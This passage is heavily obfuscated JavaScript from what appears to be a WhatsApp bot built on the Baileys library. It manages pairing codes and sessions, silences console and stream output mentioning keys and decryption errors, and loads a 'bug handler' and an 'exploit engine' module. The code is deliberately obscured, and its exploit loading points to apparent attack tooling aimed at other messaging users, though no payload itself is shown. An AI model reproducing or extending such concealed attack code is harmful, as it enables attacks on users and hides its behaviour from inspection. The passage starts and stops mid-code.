v4Da','CffTr2i','t01ZzeO','CuDyr1u','cVcFPkmGtwvZC2fNzsa9ia','cVcFK5WGkKjLzM9YztOQia','w09xtKvsxsbpD25LCIbZzxq6ia','nZmXmJGXv0HfC3D0','lI9WBhvNAw5Zl2LUzgv4','u3PLqNu','tuiGFcbtzxnZAw9UCZOG','y29YDgfUys1HBMrYBY1MyW','CgXHEq','ugjcBva','zwr1zgv2AwnL','teLeigrPC2nVDMvYzwqGzNjVBsbJCMvKCZOG','ignVBM5Ly3rPB24GDgLTzw91Da','ihvZzxm6ia','w0jvr0jpvf0GsgfUzgXLCIbLCNjVCJO','y2PdvKu','mdaYovzIqLLgzenfntbvB2G1tZDkEtjQ','zNLLweO','CwnJwNi','r0DIwee','EgzVCMnLAw9Z','y29YDgfUys1KzwXHEs1PB3m','w0nmrufovvbDiezHAwXLzcb0BYbJBgvHBIbZzxnZAw9Uia','C3nTzxa','DMLKzw9nzxnZywDL','r3LPrwG','qwjgwNe','y29YDgfUys1WyxLTzw50lwnYyxnO','ieXpr0DfrcbpvvqG4OcuigrLBgv0Aw5NihbLCM1HBMvUDgX5','zxzLBNq','y3jLyxrLqM90u2v0DgLUz3m','z2v0r3jVDxbtzxr0Aw5NCW','z3jVDxbgzxrJAefSBfbHCNrPy2LWyxrPBMC','C2LNBMvKs2v5swq','Fcbnrcb8ifS','BwvUDgLVBNm','y2XLyxi','y2HHAw5lzxK','EengwKe','Aw52AxrL','sLDoBM0','tNPJEK0','y2XVC2vKoG','BwvZC2fNzvrPBwvZDgfTCa','yKvTAKO','z3vPwNi','CgHVBMvoDw1Izxi','C3rYAw5NAwz5','ve1rww8','y3jLyxrLzej5','ihjLC2LKDwuGzMLSzxmGzM9YihnLC3nPB24G','y29YDgfUyq','CuPtq2q','DMPPEgW','ugX5C0O','w1bbsvjjtKDDifnLC3nPB24G','iIb8iezYB206ia','yMLUza','Eu9KzKS','lI9LEhbSB2L0lwvUz2LUzq','yNv0Dg9UC01LC3nHz2u','y3jLyxrLzdO','tNbTB2K','CMvTB3zL','CwHUBMG','uviGCMvJzwL2zwq','zxHLy3v0zq','EgrLBgf5','y3vYCMvUDfjHDgnOzxq','BwvUDq','CgfYDgLJAxbHBNq','qw9TEwq','ufbWCKq','DeXXtfO','z3jVDxbqyxj0AwnPCgfUDhnvCgrHDgu','y29YDgfUys12AwrLBY1JCMfZAa','z2v0u2vZC2LVBLn0yxr1CW','zxH0zw5KzwruzxH0twvZC2fNzq','y0DnuxO','C3rPy2TLCG','y2XLyw51Ca','Dg9mB2nHBgvuAw1Lu3rYAw5N','lI9WBhvNAw5Zl2DYB3vW','CMvTB3rLsMLK','C3LZDgvT','yLbJBeK','s0nfzva','CgfPCMLUzW','Aw1Hz2u','ugnNCKy','uKvwt0Tf','y29UzMLNDxjHyMXL','DhjHC2HLBq','DgvZDa','yxbWlxn0yxrLlxn5BMmTA2v5','y3jLyxrLuMvXDwLYzq','z3jVDxbnzxrHzgf0yq','y29UBMvJDgLVBI51CgrHDgu','A2v5','zgv2AwnLu2vUDe1LC3nHz2u','igHHCYbLEgLZDgLUzYbZB2nRzxqUiezVCMnLignSB3nPBMCGyMvMB3jLihjLC3rHCNqU','q2fSBcbOyw5KBgvY','m3W1Fdr8mNWXFda','rgvJCNLWDgvKig1LC3nHz2uGD2L0AcbJBg9ZzwqGC2vZC2LVBG','CM9VDeTLEtO','sMj6qNq','w0foveLmruzuxsbcB3qGCgfYDgLJAxbHBNqGBM90igzVDw5KigLUig1LDgfKyxrHicH3zwLYzcKUiefIB3j0Aw5NlG','v2vItwvZC2fNzuLUzM8','zfPZr1y','y29YDgfUys10zxH0lwnYyxnO','tNPZtKm','sxzdAxu','EKrvELi','EgnHCM91C2vS','u3r1yLr5Cgu','CMvTB3rLswrLBNrPDhLlzxK','wgnKALG','Dw5RBM93BG','4P2miej1zYbOyw5KBgvYigzHAwXLzcb0BYbSB2fKlIbdAgvJAYbZzxj2zxiGBg9NCY4','q2HYB21L','De1vrfq','D3jPDgu','ChjNuMe','BM93','ww1yvLe','iIb8iefYz3m6ici','swvdAMK','BK92Bvq','DgvYBwLUyxrL','lI4UicHbDhrLBxb0ia','wLbTteq','rM9SBg93zwq6ia','lI9WBhvNAw5Zl2nOyxrIB3q','zxH0CMfJDe1LC3nHz2vdB250zw50','A3bwDvC','C2HPzNq','EKzMDMy','rvbwEeq','z2v0t3DUuhjVCgvYDhLezxnJCMLWDg9Y','w0rfqLvhxsbtzxnZAw9Uifr5CguGq2HLy2S6ia','zwrPDa','z0jJC04','quDXCvy','DxnLzdO','senlANK','AgvHCfvZzwq','igLZig5VDcbWCMvTAxvTlIberuXfveLorY4','EuLvwM8','u3joue4','vMLyCve','w1bbsvjjtKDDief0DgvTChqG','Bgv2zwW','BhDLz2m','ndu4odyZnxDUq1rzDW','veHKELC','BMv4Da','zvb6BwW','w0jvr0jpvf0GsgfUzgXLCIbJB21WBgv0zwqGC3vJy2vZC2z1BgX5','Bxz0sge','w0Xpt1bFrevcvuDDiezYB21nztOG','8j+BOE+4JYbFqw50AwjHBIbPCYbptIaTig9UBhKGEw91ignHBIb1C2uGy29TBwfUzhmGCMLNAhqGBM93xW','vgLTzw91Da','t2jNvgS','y29UBMvJDgLUzW','z2v0vgLTzq','whv3sxu','yMfPBgv5C19ZDg9Yzv9TDwX0As5QC29U','B2zM','qg5LD3nSzxr0zxi','CwnbBuS','BwvZC2fNzunHy2HL','Fcbnrcb8iokDJcbdCML0AwnHBcbLCNjVCIbYzwnVDMvYAw5Nia','zhHvz0S','cGRWN5E/ww91ignHBID0ieHPzguGzNjVBsbdB3j0yw5H8j+yG/cFMkS','AgfZ','FcbdB250zw50oG','zgLZy29UBMvJDgvK','w0foveLmruzuxsbcB3qGAxmGBM90igfKBwLUlIbdyw5UB3qGCMuTywrKlG','zgvMyxvSDa','cUkpScbezwXLDgvKigf0oIa','mJaUmc4Wna','rMfPBgvKihrVigrLy3j5Chq','ig5VignYzwrLBNrPywXZiokaLcbJBgvHBMLUzYb1Ca','DwPpue0','C3rYAw5N','yw50AwvKAxrnB2rL','BMXJBu4','AxneAxjLy3rVCNK','y2HPBgq','zevYy2W','rMfPBgvKihrVigrLBgv0zsbHDxrOigzPBgvZ','sLLQz3C','q2XVC2LUzYbZzxnZAw9U','A2v5CW','w1nbrKvFu0vorf0G4PYfie1LC3nHz2uGC2vUDcb0BW','mZGZode1mNL1u2XktG','4P2miev4CgXVAxqGrxjYB3i6ia','4PYp77IpicPbtLrjluvesvqGrevurunuruqQcIaGicaGicaGicaGicaGicaGicaGicaGicak8j+rPcaQu2vUzgvYoIOGqa','zNjVBu1L','CMfJzq','yxv0Afn0yxrL','DMv4uM8','C2vUze1LC3nHz2u','EgTxDMq','sgPxq0y','BwvZC2fNzq','rNzuDwC','vNHNu0y','CMvHy3q','DMLKzw8','z2P3yxe','Axzjv2W','y29UDMvYC2f0Aw9U','uLrcCMW','w0foveLmruzuxsbvC2vYigTPy2TLzcbIEsbHzg1PBIa','lI9SAwiVBg9Nz2vY','Dg9gAxHLza','C2LSzw50','C3bSAxq','CxvVDgvK','uu5lu1i','y29YDgfUys1PBNzPDguTy3jHC2G','8j+tUcaQrevmrvrfrcbtvefuvvmGrevurunuruqQcGRWN5gKiezYB206iea','w0nmrufovvbDifjLBw92zwqG','zxHLy3v0zuv4CgXVAxq','DMfSDwu','Bg9N','ChjPDMfJEq','rhnbvvm','rMnbtuK','y2fSBeXVz01LC3nZywDL'];_0x2103=function(){return _0x797e0;};return _0x2103();}var __createBinding=this&&this['__createBinding']||(Object[_0x50e9fe(0x40b)]?function(_0x18cd2f,_0x3544ce,_0x441516,_0x3bc667){const _0x5e7250=_0x50e9fe,_0x1391c6={'rBpvz':_0x5e7250(0x455),'ilpIs':function(_0x7d7972,_0x4140d8){return _0x7d7972===_0x4140d8;}};if(_0x3bc667===undefined)_0x3bc667=_0x441516;var _0x58e68e=Object['getOwnPropertyDescriptor'](_0x3544ce,_0x441516);if(!_0x58e68e||(_0x1391c6[_0x5e7250(0x30a)]in _0x58e68e?!_0x3544ce[_0x5e7250(0x1ff)]:_0x58e68e[_0x5e7250(0x40c)]||_0x58e68e[_0x5e7250(0x26e)])){if(_0x1391c6[_0x5e7250(0x2fa)]('SbaiM','SbaiM'))_0x58e68e={'enumerable':!![],'get':function(){return _0x3544ce[_0x441516];}};else{_0xe5747d['debug'](_0x5e7250(0x2c4));return;}}Object[_0x5e7250(0x378)](_0x18cd2f,_0x3bc667,_0x58e68e);}:function(_0x23edf8,_0x16d14f,_0x120d79,_0x21b29e){if(_0x21b29e===undefined)_0x21b29e=_0x120d79;_0x23edf8[_0x21b29e]=_0x16d14f[_0x120d79];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[_0x50e9fe(0x40b)]?function(_0x211b08,_0x16d5ab){const _0x5aaf51=_0x50e9fe;Object['defineProperty'](_0x211b08,_0x5aaf51(0x2c5),{'enumerable':!![],'value':_0x16d5ab});}:function(_0xa5a93,_0x8ca503){const _0x2fce84={'mZmav':'default'};_0xa5a93[_0x2fce84['mZmav']]=_0x8ca503;}),__importStar=this&&this[_0x50e9fe(0x40a)]||function(_0xab024f){const _0x46a8ac=_0x50e9fe,_0x55d1a2='2|4|3|0|1'['split']('|');let _0x46f1c5=0x0;while(!![]){switch(_0x55d1a2[_0x46f1c5++]){case'0':__setModuleDefault(_0x2dba63,_0xab024f);continue;case'1':return _0x2dba63;case'2':if(_0xab024f&&_0xab024f['__esModule'])return _0xab024f;continue;case'3':if(_0xab024f!=null){for(var _0x564eb3 in _0xab024f)if(_0x564eb3!==_0x46a8ac(0x2c5)&&Object[_0x46a8ac(0x400)]['hasOwnProperty']['call'](_0xab024f,_0x564eb3))__createBinding(_0x2dba63,_0xab024f,_0x564eb3);}continue;case'4':var _0x2dba63={};continue;}break;}},__importDefault=this&&this[_0x50e9fe(0x1e2)]||function(_0x21b7d6){const _0x5ae8cc=_0x50e9fe;return _0x21b7d6&&_0x21b7d6[_0x5ae8cc(0x1ff)]?_0x21b7d6:{'default':_0x21b7d6};};Object[_0x50e9fe(0x378)](exports,'__esModule',{'value':!![]}),exports[_0x50e9fe(0x3f0)]=void 0x0,exports['requestPairingCode']=requestPairingCode,exports[_0x50e9fe(0x25f)]=getSessionStatus,exports['getPairingCode']=getPairingCode,exports[_0x50e9fe(0x366)]=disconnectSession,exports['getActiveSessionsCount']=getActiveSessionsCount,exports['restoreAllSessions']=restoreAllSessions,exports['getSessionSocket']=getSessionSocket,exports['getSessionByPhone']=getSessionByPhone,exports['getAllActiveSessions']=getAllActiveSessions,exports[_0x50e9fe(0x1e0)]=getBotSettings;const _SUPPRESS=[_0x50e9fe(0x3ff),_0x50e9fe(0x2d3),_0x50e9fe(0x336),'Removing\x20old',_0x50e9fe(0x43e),'<Buffer','pendingPreKey',_0x50e9fe(0x388),_0x50e9fe(0x3a4),'ephemeralKeyPair','registrationId',_0x50e9fe(0x1fd),_0x50e9fe(0x32e),_0x50e9fe(0x257),_0x50e9fe(0x3a5),_0x50e9fe(0x238),_0x50e9fe(0x437),'messageKeys',_0x50e9fe(0x1eb),_0x50e9fe(0x37f),_0x50e9fe(0x286),_0x50e9fe(0x234),'preKeyId','baseKeyType','privKey',_0x50e9fe(0x2fb),_0x50e9fe(0x2c8),_0x50e9fe(0x1f9),'Buffer',_0x50e9fe(0x286),_0x50e9fe(0x3ba),_0x50e9fe(0x3e2),_0x50e9fe(0x27b),_0x50e9fe(0x23d),_0x50e9fe(0x2a2),_0x50e9fe(0x250),'baseKey:','No\x20session\x20found',_0x50e9fe(0x2fc),'decrypt\x20message'],_origStdoutWrite=process[_0x50e9fe(0x32f)]['write'][_0x50e9fe(0x24c)](process[_0x50e9fe(0x32f)]),_origStderrWrite=process['stderr'][_0x50e9fe(0x28c)][_0x50e9fe(0x24c)](process['stderr']);process[_0x50e9fe(0x32f)][_0x50e9fe(0x28c)]=(_0x2c1c18,_0x2ab8f3,_0x1729d2)=>{const _0x4d026a=_0x50e9fe,_0x708280={'OmRtW':_0x4d026a(0x2cb),'JNeAV':function(_0x18e454,_0x4387ad){return _0x18e454===_0x4387ad;},'moRLj':function(_0x231b2c){return _0x231b2c();},'ZrcWd':function(_0x3fa26b,_0x18f109,_0x4e08d4,_0x5902f8){return _0x3fa26b(_0x18f109,_0x4e08d4,_0x5902f8);}},_0x353960=typeof _0x2c1c18===_0x708280[_0x4d026a(0x1ee)]?_0x2c1c18:_0x2c1c18?.[_0x4d026a(0x3f8)]()||'';if(_SUPPRESS['some'](_0x2b8238=>_0x353960[_0x4d026a(0x3bf)](_0x2b8238))){if('wLlaP'!=='wLlaP')_0x1687ec[_0x4d026a(0x303)](_0x3bf81d);else{if(_0x708280['JNeAV'](typeof _0x1729d2,'function'))_0x708280[_0x4d026a(0x3c1)](_0x1729d2);return!![];}}return _0x708280['ZrcWd'](_origStdoutWrite,_0x2c1c18,_0x2ab8f3,_0x1729d2);},process['stderr']['write']=(_0x207a8c,_0x2eeea3,_0x3c7cbb)=>{const _0x4eeae7=_0x50e9fe,_0x420eb7=typeof _0x207a8c===_0x4eeae7(0x2cb)?_0x207a8c:_0x207a8c?.[_0x4eeae7(0x3f8)]()||'';if(_SUPPRESS[_0x4eeae7(0x3c0)](_0x1c1cb6=>_0x420eb7[_0x4eeae7(0x3bf)](_0x1c1cb6))){if(typeof _0x3c7cbb===_0x4eeae7(0x3af))_0x3c7cbb();return!![];}return _origStderrWrite(_0x207a8c,_0x2eeea3,_0x3c7cbb);};function _0x2bbd(_0x10ccb8,_0x3e6263){_0x10ccb8=_0x10ccb8-0x1dc;const _0x210373=_0x2103();let _0x2bbdeb=_0x210373[_0x10ccb8];if(_0x2bbd['IOGtcl']===undefined){var _0x477e74=function(_0xf3a6a9){const _0x196a41='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x298018='',_0x6adcea='';for(let _0x323637=0x0,_0x2f591f,_0x3189a1,_0x15df91=0x0;_0x3189a1=_0xf3a6a9['charAt'](_0x15df91++);~_0x3189a1&&(_0x2f591f=_0x323637%0x4?_0x2f591f*0x40+_0x3189a1:_0x3189a1,_0x323637++%0x4)?_0x298018+=String['fromCharCode'](0xff&_0x2f591f>>(-0x2*_0x323637&0x6)):0x0){_0x3189a1=_0x196a41['indexOf'](_0x3189a1);}for(let _0x46763e=0x0,_0x275f89=_0x298018['length'];_0x46763e<_0x275f89;_0x46763e++){_0x6adcea+='%'+('00'+_0x298018['charCodeAt'](_0x46763e)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x6adcea);};_0x2bbd['lyRuma']=_0x477e74,_0x2bbd['syZfNV']={},_0x2bbd['IOGtcl']=!![];}const _0x1897d2=_0x210373[0x0],_0x17ab63=_0x10ccb8+_0x1897d2,_0x1feadc=_0x2bbd['syZfNV'][_0x17ab63];return!_0x1feadc?(_0x2bbdeb=_0x2bbd['lyRuma'](_0x2bbdeb),_0x2bbd['syZfNV'][_0x17ab63]=_0x2bbdeb):_0x2bbdeb=_0x1feadc,_0x2bbdeb;}const _origLog=console[_0x50e9fe(0x2f5)],_origErr=console[_0x50e9fe(0x433)];console['log']=(..._0x491d14)=>{const _0x4cb99c=_0x50e9fe,_0xe69923=_0x491d14['map'](_0x3172d7=>typeof _0x3172d7===_0x4cb99c(0x2cb)?_0x3172d7:String(_0x3172d7))[_0x4cb99c(0x3e6)]('\x20');if(!_SUPPRESS[_0x4cb99c(0x3c0)](_0x1ca892=>_0xe69923[_0x4cb99c(0x3bf)](_0x1ca892)))_origLog[_0x4cb99c(0x353)](console,_0x491d14);},console[_0x50e9fe(0x433)]=(..._0xba299e)=>{const _0x543e71=_0x50e9fe,_0x189f75=_0xba299e['map'](_0x16c4f8=>typeof _0x16c4f8===_0x543e71(0x2cb)?_0x16c4f8:String(_0x16c4f8))[_0x543e71(0x3e6)]('\x20');if(!_SUPPRESS[_0x543e71(0x3c0)](_0x2117f0=>_0x189f75[_0x543e71(0x3bf)](_0x2117f0)))_origErr[_0x543e71(0x353)](console,_0xba299e);};const module_1=require(_0x50e9fe(0x432)),require=(0x0,module_1[_0x50e9fe(0x272)])(process[_0x50e9fe(0x325)]()+'/package.json'),Baileys=require(_0x50e9fe(0x412)),makeWASocket=Baileys[_0x50e9fe(0x2c5)]?.['default']||Baileys[_0x50e9fe(0x2c5)]||Baileys,{DisconnectReason,useMultiFileAuthState,fetchLatestBaileysVersion,makeCacheableSignalKeyStore,Browsers,downloadMediaMessage,proto,getDevice}=Baileys,pino_1=__importDefault(require(_0x50e9fe(0x39a))),node_cache_1=__importDefault(require('node-cache')),crypto_1=require(_0x50e9fe(0x1f4)),storage_1=require('./storage'),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(_0x50e9fe(0x360))),types_1=require(_0x50e9fe(0x43f));require(_0x50e9fe(0x217));const axios_1=__importDefault(require(_0x50e9fe(0x38c))),store_1=require(_0x50e9fe(0x43c)),logger_1=__importDefault(require(_0x50e9fe(0x2ea))),chatbot_1=require(_0x50e9fe(0x297)),protection_1=require(_0x50e9fe(0x31b)),group_1=require(_0x50e9fe(0x265)),local_storage_1=require(_0x50e9fe(0x3a1)),message_helper_1=require(_0x50e9fe(0x444));function getBugHandler(){const _0x52f3fa=_0x50e9fe,_0x13fab3={'UZXfA':_0x52f3fa(0x457),'FcAMI':_0x52f3fa(0x3a8),'GZKtO':_0x52f3fa(0x1dc)};try{if(_0x13fab3['UZXfA']===_0x52f3fa(0x44b))_0x25139a=_0x10d46b[_0x52f3fa(0x404)];else{const _0x233cb8=path_1[_0x52f3fa(0x2c5)][_0x52f3fa(0x3e6)](process[_0x52f3fa(0x325)](),_0x13fab3[_0x52f3fa(0x2f8)],_0x52f3fa(0x36c),_0x13fab3['GZKtO']);return require(_0x233cb8);}}catch(_0x99d91d){return console[_0x52f3fa(0x433)](_0x52f3fa(0x45a),_0x99d91d[_0x52f3fa(0x2e0)]),null;}}const exploit_engine_1=require(_0x50e9fe(0x24e)),cleanup_1=require(_0x50e9fe(0x3e1)),DEBUG=process.env.DEBUG===_0x50e9fe(0x33a)||![],log={'debug':(..._0x175b6d)=>{const _0x45a0f9={'cTMCf':function(_0x2692b5,..._0x1609e7){return _0x2692b5(..._0x1609e7);}};if(DEBUG)_0x45a0f9['cTMCf'](_origLog,..._0x175b6d);},'info':(..._0x1e0cc4)=>{const _0x2edee2=_0x50e9fe,_0x5144a8={'QNKSR':function(_0x3da229,..._0x38b20a){return _0x3da229(..._0x38b20a);}};if(DEBUG)_0x5144a8[_0x2edee2(0x2ef)](_origLog,..._0x1e0cc4);},'warn':(..._0x19fb78)=>console[_0x50e9fe(0x1e7)](..._0x19fb78),'error':(..._0x40be62)=>_origErr(..._0x40be62)},logger=(0x0,pino_1[_0x50e9fe(0x2c5)])({'level':_0x50e9fe(0x2ec)}),msgRetryCounterCache=new node_cache_1[(_0x50e9fe(0x2c5))]();exports[_0x50e9fe(0x3f0)]=new Map();const keepAliveIntervals=new Map(),pairingCodes=new Map(),settingsCache=new Map(),SETTINGS_CACHE_TTL=0xea60,processedMessageIds=new Map(),sessionReady=new Map(),connectingSessions=new Set(),lastActive=new Map(),BOT_NAME=_0x50e9fe(0x3d2),PREFIX='.';let lastMemoryUsage=0x0;const CLEANUP_INTERVAL=0x7530,resourceCleanupInterval=setInterval(()=>{const _0xcf2142=_0x50e9fe,_0x362420={'SrNPN':function(_0x144b75,_0x3d0094){return _0x144b75>_0x3d0094;},'ObgTk':function(_0x1f2c11,_0x441714){return _0x1f2c11-_0x441714;},'uxCSw':function(_0x4c7c7b,_0x361798){return _0x4c7c7b===_0x361798;},'audOo':function(_0x79a675,_0x4a690f){return _0x79a675/_0x4a690f;},'dXRTF':function(_0x4a7a7e,_0x2e9463){return _0x4a7a7e/_0x2e9463;},'fLtvd':function(_0x516436,_0x5bf1b2){return _0x516436%_0x5bf1b2;},'GEVMP':function(_0x50e023,_0x44b710){return _0x50e023!==_0x44b710;},'pQmGb':function(_0x3e033f,_0x208d46){return _0x3e033f>_0x208d46;},'dZsGV':_0xcf2142(0x243),'lItlr':_0xcf2142(0x2dc)};try{const _0x23e251=Date[_0xcf2142(0x28e)]();let _0x1042c5=0x0;for(const [_0x112467,_0x171c05]of processedMessageIds[_0xcf2142(0x45e)]()){_0x362420[_0xcf2142(0x2a7)](_0x23e251-_0x171c05,0x15f90)&&(processedMessageIds[_0xcf2142(0x30d)](_0x112467),_0x1042c5++);}for(const [_0x2fae51,_0x29dd1f]of settingsCache['entries']()){_0x362420[_0xcf2142(0x2b5)](_0x23e251,_0x29dd1f[_0xcf2142(0x308)])>SETTINGS_CACHE_TTL&&settingsCache[_0xcf2142(0x30d)](_0x2fae51);}store_1['messageCache'][_0xcf2142(0x3a6)]()>0x96&&store_1['messageCache'][_0xcf2142(0x237)]();msgRetryCounterCache[_0xcf2142(0x30e)]();for(const [_0x1d67f0,_0xac9ef9]of exports[_0xcf2142(0x3f0)][_0xcf2142(0x45e)]()){if(!_0xac9ef9||_0xac9ef9['ws']&&(_0xac9ef9['ws']['readyState']===0x3||_0x362420[_0xcf2142(0x368)](_0xac9ef9['ws'][_0xcf2142(0x307)],0x2))){logger_1['default']['sys'][_0xcf2142(0x263)](_0xcf2142(0x44a)+_0x1d67f0['slice'](0x0,0x8));try{_0xac9ef9[_0xcf2142(0x43b)](undefined);}catch{}exports[_0xcf2142(0x3f0)][_0xcf2142(0x30d)](_0x1d67f0),sessionReady[_0xcf2142(0x30d)](_0x1d67f0),connectingSessions['delete'](_0x1d67f0);}}for(const _0x6af675 of exports[_0xcf2142(0x3f0)][_0xcf2142(0x2d4)]()){checkSessionExpiry(_0x6af675);}const _0x3cbf7e=Math[_0xcf2142(0x3fa)](_0x362420['audOo'](_0x362420[_0xcf2142(0x33c)](process['memoryUsage']()[_0xcf2142(0x2a4)],0x400),0x400));if(global['gc']){if(_0x3cbf7e>0x190){logger_1[_0xcf2142(0x2c5)][_0xcf2142(0x342)]['cleanup'](_0xcf2142(0x424)+_0x3cbf7e+'MB)');try{global['gc']();}catch(_0xbecc24){}}else try{global['gc']();}catch(_0x119039){}}if(!global[_0xcf2142(0x410)])global[_0xcf2142(0x410)]=0x0;global['cleanupCounter']++;if(_0x362420[_0xcf2142(0x3ac)](global[_0xcf2142(0x410)],0x5)===0x0){if(_0x362420[_0xcf2142(0x363)](_0xcf2142(0x31e),_0xcf2142(0x249)))(0x0,cleanup_1['performSystemCleanup'])();else{_0x1ac4f6['end'](_0x5223cf);if(_0x24d297['ws'])_0x31ceb2['ws'][_0xcf2142(0x293)]();}}_0x362420[_0xcf2142(0x210)](Math[_0xcf2142(0x435)](_0x3cbf7e-lastMemoryUsage),0xa)&&(_0x362420[_0xcf2142(0x27f)]===_0x362420[_0xcf2142(0x355)]?_0x1197db=_0x4ffe4c[_0xcf2142(0x2ed)]('@')[0x0]:(logger_1['default'][_0xcf2142(0x342)][_0xcf2142(0x263)](_0xcf2142(0x1fc)+_0x3cbf7e+_0xcf2142(0x219)+exports[_0xcf2142(0x3f0)]['size']+_0xcf2142(0x306)+processedMessageIds['size']),lastMemoryUsage=_0x3cbf7e));}catch(_0x15f73e){}},CLEANUP_INTERVAL);process['on']('exit',()=>{const _0x9097a9=_0x50e9fe,_0x2583e9={'VxgSF':function(_0x3ec87f,_0x5e6330){return _0x3ec87f(_0x5e6330);}};_0x2583e9[_0x9097a9(0x2e2)](clearInterval,resourceCleanupInterval),store_1[_0x9097a9(0x2bd)][_0x9097a9(0x3da)]();});function isValidMessageContent(_0x1f71ea){const _0x100ce9=_0x50e9fe,_0x5aad00={'Vgnlz':_0x100ce9(0x2fe),'THdzW':'string','cMwoT':function(_0x356ccd,_0x521216){return _0x356ccd===_0x521216;},'yWyCB':function(_0xde2db0,_0x51dc69){return _0xde2db0===_0x51dc69;},'AQmuc':_0x100ce9(0x262),'cQgWE':'mzLNb','NAXmO':function(_0x4b4bd5,_0x54ec01){return _0x4b4bd5===_0x54ec01;},'eOrDp':function(_0x5a22fd,_0x4204e0){return _0x5a22fd in _0x4204e0;},'HCKjy':_0x100ce9(0x30d)};if(!_0x1f71ea||typeof _0x1f71ea!==_0x100ce9(0x399))return![];if(Object['keys'](_0x1f71ea)[_0x100ce9(0x31d)]===0x0)return![];if(_0x100ce9(0x20f)in _0x1f71ea){if(_0x1f71ea[_0x100ce9(0x20f)]===null||_0x1f71ea[_0x100ce9(0x20f)]===undefined)return![];if(typeof _0x1f71ea[_0x100ce9(0x20f)]===_0x5aad00[_0x100ce9(0x2ad)]&&_0x5aad00[_0x100ce9(0x38e)](_0x1f71ea[_0x100ce9(0x20f)][_0x100ce9(0x327)](),'')){const _0x26d611=Object[_0x100ce9(0x2d4)](_0x1f71ea)[_0x100ce9(0x460)](_0x28ee8e=>_0x28ee8e!==_0x100ce9(0x20f)&&_0x28ee8e!==_0x100ce9(0x236)&&_0x28ee8e!==_0x100ce9(0x398)&&_0x28ee8e!==_0x100ce9(0x2ee));if(_0x5aad00['yWyCB'](_0x26d611[_0x100ce9(0x31d)],0x0))return![];}}const _0x4c86fd=[_0x100ce9(0x26b),_0x100ce9(0x2e4),_0x100ce9(0x379),_0x5aad00[_0x100ce9(0x371)],_0x100ce9(0x339)];for(const _0x5ddff3 of _0x4c86fd){if(_0x100ce9(0x24d)===_0x5aad00[_0x100ce9(0x45d)])_0x266613[_0x100ce9(0x433)](_0x5aad00[_0x100ce9(0x311)],_0x136d20['message']);else{if(_0x5ddff3 in _0x1f71ea){const _0x1a3d60=_0x1f71ea[_0x5ddff3];if(!_0x1a3d60)return![];if(_0x5aad00['NAXmO'](typeof _0x1a3d60,_0x100ce9(0x399))){const _0x28a983=!!_0x1a3d60[_0x100ce9(0x3b7)],_0x1432fd=!!_0x1a3d60['stream'],_0x4ea556=Buffer['isBuffer'](_0x1a3d60),_0x15ac6f=Buffer[_0x100ce9(0x3a7)](_0x1f71ea[_0x5ddff3]);if(!_0x28a983&&!_0x1432fd&&!_0x4ea556&&!_0x15ac6f)return![];}}}}if(_0x5aad00[_0x100ce9(0x3bb)](_0x5aad00[_0x100ce9(0x2a3)],_0x1f71ea)&&(!_0x1f71ea['delete']||!_0x1f71ea['delete']['id']))return![];if(_0x100ce9(0x2e3)in _0x1f71ea&&(!_0x1f71ea[_0x100ce9(0x2e3)]||!_0x1f71ea[_0x100ce9(0x2e3)][_0x100ce9(0x275)]||!_0x1f71ea[_0x100ce9(0x2e3)]['text']))return![];if(_0x100ce9(0x29f)in _0x1f71ea&&(!_0x1f71ea['edit']||!_0x1f71ea['edit']['id']))return![];return!![];}function getPhoneJid(_0x45d07c){const _0x4186f1=_0x50e9fe,_0x5a3381={'HjWCF':function(_0x4fa56e,_0x463257){return _0x4fa56e+_0x463257;}};if(!_0x45d07c)return'';if(_0x45d07c['endsWith'](_0x4186f1(0x34f)))return _0x45d07c;if(_0x45d07c[_0x4186f1(0x3bf)](':'))_0x45d07c=_0x5a3381[_0x4186f1(0x2df)](_0x45d07c['split'](':')[0x0]+'@',_0x45d07c['split']('@')[0x1]);return _0x45d07c[_0x4186f1(0x3d3)]('@lid',_0x4186f1(0x395));}async function safeSendMessage(_0x15ac5f,_0x44a764,_0x4da300,_0x1678b9){const _0x50c78a=_0x50e9fe,_0x576bce={'prgRa':'string','jYXsq':_0x50c78a(0x32c),'KCEeP':function(_0x324e5e,_0xd98f39){return _0x324e5e(_0xd98f39);},'zmBuL':_0x50c78a(0x2c2),'ViXqQ':_0x50c78a(0x2d5),'zaerV':'[SAFE_SEND]\x20Error\x20sending\x20message:'};try{if(!_0x44a764||typeof _0x44a764!==_0x576bce[_0x50c78a(0x28d)])return console['error'](_0x576bce[_0x50c78a(0x32d)],_0x44a764),null;if(!_0x576bce[_0x50c78a(0x269)](isValidMessageContent,_0x4da300))return console[_0x50c78a(0x1e7)](_0x50c78a(0x335),_0x44a764,_0x576bce[_0x50c78a(0x1fe)],JSON[_0x50c78a(0x242)](_0x4da300)['substring'](0x0,0x64)),null;const _0x370a14=await _0x15ac5f[_0x50c78a(0x2dd)](_0x44a764,_0x4da300,_0x1678b9);return console['log'](_0x576bce[_0x50c78a(0x2a8)],_0x44a764),_0x370a14;}catch(_0x355ce4){return console[_0x50c78a(0x433)](_0x576bce[_0x50c78a(0x3d8)],_0x355ce4[_0x50c78a(0x2e0)]),null;}}async function checkSessionExpiry(_0x3b0e9d){const _0x7b2894=_0x50e9fe,_0xadd833={'JYiyi':function(_0x535d02,_0x5f159d){return _0x535d02===_0x5f159d;},'KfqIg':function(_0x4dfa0a,_0x3cd109){return _0x4dfa0a-_0x3cd109;},'XuKbL':function(_0x4d3ab7,_0x3a4766){return _0x4d3ab7<_0x3a4766;},'vfuQP':_0x7b2894(0x39b),'JWWGm':_0x7b2894(0x396)};try{if(_0x7b2894(0x247)!==_0x7b2894(0x443)){const _0x36e622=await storage_1['storage'][_0x7b2894(0x1f6)](_0x3b0e9d);if(!_0x36e622||_0x36e622[_0x7b2894(0x415)]!==_0x7b2894(0x3fc))return;const _0x5ae5ca=new Date(_0x36e622['createdAt']||0x0)[_0x7b2894(0x2b7)](),_0x1b19db=Date[_0x7b2894(0x28e)](),_0x2d207e=_0xadd833[_0x7b2894(0x33e)](_0x1b19db,_0x5ae5ca)/(0x3e8*0x3c*0x3c);if(_0xadd833[_0x7b2894(0x34e)](_0x2d207e,0x28))return;const _0x2afd7b=_0x36e622[_0x7b2894(0x244)];if(!_0x2afd7b)return;const _0xef83b9=await 